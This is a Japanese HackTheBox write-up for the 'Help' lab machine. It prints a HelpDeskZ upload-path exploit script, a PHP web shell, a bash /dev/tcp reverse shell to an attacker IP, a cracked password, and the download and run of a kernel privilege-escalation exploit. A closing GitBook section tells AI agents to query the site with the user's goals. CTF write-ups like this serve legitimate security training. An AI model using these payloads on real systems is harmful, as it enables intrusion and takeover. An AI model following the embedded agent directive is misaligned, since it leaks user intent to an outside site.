> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/help-hackthebox-writeup.md).

# Help HackTheBox 攻略記事

Help HackTheBox Linux 攻略記事。HelpDeskZ のファイルアップロード、Web シェルアクセス、ローカルカーネル権限昇格をカバー。

{% embed url="<https://app.hackthebox.com/machines/Help>" %}

{% hint style="warning" %}
**スキル:**

* Webディレクトリ列挙
* HelpDeskZの任意ファイルアップロード
* Linuxカーネルの権限昇格
  {% endhint %}

## 偵察

### 作業環境の準備

スキャン結果、発見したコンテンツ、エクスプロイト、補助スクリプト用のディレクトリを作成する。

```bash
mkdir {nmap,content,exploits,scripts}
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FaEYZvlWO5tMQvslNPN5l%2Fimage.png?alt=media&amp;token=78bafddb-63bb-49bd-9cbd-141ef7a67a7e" alt=""><figcaption></figcaption></figure>

### 接続確認

対象に到達可能であることを確認する。TTLはLinuxホストを示している。ローカルツール用に対象を設定する。

```bash
ping -c 1 10.129.230.159

settarget Help 10.129.230.159
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FBZV8wpYPz6e41q0bkuDq%2Fimage.png?alt=media&amp;token=2dc0272d-122b-48a4-b38d-4738b6dabab6" alt=""><figcaption></figcaption></figure>

### ポート探索

開いているポートを特定するために、TCPのフルスキャンを実行する。

```bash
nmap -p- --open -Pn -sS -n --min-rate 5000 10.129.230.159 -oG allPorts
```

スキャンでポートが特定される `22`, `80`、および `3000`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F7nFVF3KT2s3dO11xTPSq%2Fimage.png?alt=media&amp;token=accddffa-b841-4747-b494-52709363ca79" alt=""><figcaption></figcaption></figure>

対象を絞ったサービス・バージョンスキャンを実行する。

```bash
nmap -sCV -p22,80,3000 10.129.230.159 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Ff5trIktmq9uomFROn4y8%2Fimage.png?alt=media&amp;token=2db48891-4d75-41be-a236-bbd059e687b3" alt=""><figcaption></figcaption></figure>

対象のホスト名を追加する `/etc/hosts`.

```bash
nano /etc/hosts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FObFfltTof0lS3wFqL5yY%2Fimage.png?alt=media&amp;token=c9fbcc09-a532-4163-8bf3-151f7a592c3a" alt=""><figcaption></figcaption></figure>

### Web列挙

ポート `80` デフォルトの Apache ページを表示している。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FMAL6AfwhQIKKhkqSI0JX%2Fimage.png?alt=media&amp;token=fd2a867a-52bf-4264-a6e0-839135a81dc0" alt=""><figcaption></figcaption></figure>

Gobusterを使ってWebディレクトリを発見する。

{% code overflow="wrap" %}

```bash
gobuster dir -u http://help.htb -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 100
```

{% endcode %}

スキャンは `/support` アプリケーションを発見する。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FORknBdnCnVu7FzCSZEsQ%2Fimage.png?alt=media&amp;token=8a1bff5b-3c06-4602-8747-bea3b836dbaf" alt=""><figcaption></figcaption></figure>

このアプリケーションはHelpDeskZヘルプデスクプラットフォームを使用している。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fo6PfyCdm5IyZgRhVaBGz%2Fimage.png?alt=media&amp;token=972085ec-73dd-42cc-a95a-413150a9a472" alt=""><figcaption></figcaption></figure>

## 初期アクセス

公開されているHelpDeskZのエクスプロイトを探す。認証なしで動作する任意ファイルアップロードの脆弱性がある。

{% code overflow="wrap" %}

```bash
searchsploit helpdeskz
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FlZgPL86fiUGToiVBQg55%2Fimage.png?alt=media&amp;token=2af1bd41-065d-47d6-8b28-31e9c991b454" alt=""><figcaption></figcaption></figure>

このエクスプロイトは、ファイル名とアップロード時刻からアップロードパスを計算する。

{% code overflow="wrap" %}

```python
import sys
import requests
import hashlib
from time import time


def md5(data):
    return hashlib.md5(data).hexdigest()


def get(base, filename, at):
    uploaded_file = "{}/uploads/tickets/{}.{}".format(
        base.rstrip("/"), md5(filename + str(at)), filename.split(".")[-1]
    )

    r = requests.get(uploaded_file)
    if r.status_code == 200:
        return uploaded_file


def main(argv):
    if len(sys.argv) < 3:
        print("USAGE: {} HELPDESKZ_URL FILENAME".format(argv[0]))
        return
    for i in range(1000):
        url = get(argv[1], argv[2], int(time() - i))
        if url is not None:
            print(url)
            return
    print("Oops ... not found")


if __name__ == "__main__":
    main(sys.argv)
```

{% endcode %}

HelpDeskZインスタンスに対してエクスプロイトを実行する。

{% code overflow="wrap" %}

```bash
python2 exploit.py http://help.htb/support/ cmd.php 
```

{% endcode %}

最小限のPHPウェブシェルを次のようにアップロードする `cmd.php`.

{% code overflow="wrap" %}

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJ5JxGt1CqaUtrjF10xwc%2Fimage.png?alt=media&amp;token=bed6809b-44f7-4d3e-83cf-54f7309dd8f7" alt=""><figcaption></figcaption></figure>

エクスプロイトはアップロードされたファイルのパスを返す。

* [アップロードされたウェブシェル](http://help.htb/support/uploads/tickets/570cb591d88c7ef87a44cae4f86e3c4d.php)

リモートでのコマンド実行を確認する。

{% code overflow="wrap" %}

```bash
http://help.htb/support/uploads/tickets/570cb591d88c7ef87a44cae4f86e3c4d.php?cmd=id
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FUIHFCDozkPZZtnYI1aY2%2Fimage.png?alt=media&amp;token=8fea7b95-74bd-4dd7-91d8-e33580e49e9c" alt=""><figcaption></figcaption></figure>

ユーザーフラグを読み取ります。

{% code overflow="wrap" %}

```bash
?cmd=cat /home/help/user.txt
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Frv1bFn0Mvb1n9uiNZtxx%2Fimage.png?alt=media&amp;token=38591be5-e8bd-43f4-aaff-6a1716a3ba01" alt=""><figcaption></figcaption></figure>

リバースシェル用のリスナーを開始する。

{% code overflow="wrap" %}

```bash
nc -nvlp 443
```

{% endcode %}

次のコマンドをウェブシェル経由で実行する。

{% code overflow="wrap" %}

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.15.2/443 0>%261"
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FteERGhti3QwsbE8iv7st%2Fimage.png?alt=media&amp;token=85124eec-4a00-458f-a744-5bd4aa051825" alt=""><figcaption></figcaption></figure>

### シェルの安定化

シェルを完全な対話型TTYにアップグレードする。

{% code overflow="wrap" %}

```
script /dev/null -c bash
# Ctrl+Z を押す
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

{% endcode %}

### 権限昇格

その `help` homeディレクトリには、ポートで公開されているNode.jsアプリケーションが含まれている `3000`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FMJElgWA6hQ82tH4IawHL%2Fimage.png?alt=media&amp;token=b44898d5-f61b-4d15-8aa0-b9d91710b345" alt=""><figcaption></figcaption></figure>

保存されたパスワードをアプリケーションファイル内から検索する。

{% code overflow="wrap" %}

```bash
grep -RIn --exclude-dir=node_modules "password" .
```

{% endcode %}

検索により、複数のファイルで認証情報が見つかる。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FliLjwytTCxfBaTBvoZV9%2Fimage.png?alt=media&amp;token=5795d345-b22f-4f2c-865f-b1bcacc82b5d" alt=""><figcaption></figcaption></figure>

* <helpme@helpme.com>
* 5d3c93182bb20f07b994a7f617e99cff

CrackStationでMD5ハッシュを解読する。

{% embed url="<https://crackstation.net/>" %}

パスワードは弱い:

* godhelpmeplz

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJZ6eW6RsbxsOri7mPaqR%2Fimage.png?alt=media&amp;token=eda6d2a3-7ea8-43c6-9cb9-e784975e13e3" alt=""><figcaption></figcaption></figure>

インストールされているOSのバージョンを特定する。

{% code overflow="wrap" %}

```bash
cat /etc/os-release
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F7gWpThrAlZsNDva0DF9v%2Fimage.png?alt=media&amp;token=aedeb459-ce9d-4012-9ece-01fd2e0fccd8" alt=""><figcaption></figcaption></figure>

ホストはUbuntuを実行している `16.04` 、カーネルは `4.4.0-116`。このバージョンは公開されているローカル権限昇格エクスプロイトと一致する。

{% embed url="<https://www.exploit-db.com/exploits/44298>" %}

生のエクスプロイトソースをダウンロードする。

{% embed url="<https://www.exploit-db.com/raw/44298>" %}

攻撃側マシンでエクスプロイトをホストする。

{% code overflow="wrap" %}

```bash
wget https://www.exploit-db.com/raw/44298

python3 -m http.server 8081
```

{% endcode %}

対象からダウンロードする。

{% code overflow="wrap" %}

```bash
wget http://10.10.15.2:8081/44298
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F9x4p3PkpmqOe3xKZFYig%2Fimage.png?alt=media&amp;token=e3ecf8e9-1e4a-4aef-94ea-bc88463d9a22" alt=""><figcaption></figcaption></figure>

エクスプロイトをコンパイルして実行する。

{% code overflow="wrap" %}

```bash
mv 44298 exploit.c
gcc -o exploit exploit.c

./exploit
```

{% endcode %}

このエクスプロイトはシェルを返す `root`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FWv3O140AFz19RhTy5khR%2Fimage.png?alt=media&amp;token=3481b27c-86a9-495a-bbe7-9747f664bc92" alt=""><figcaption></figcaption></figure>

### root.txt フラグ

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Frdtor4Y6gXIS6RsvptX7%2Fimage.png?alt=media&amp;token=609c8968-5e9e-4c77-b766-0e477362c44a" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/help-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
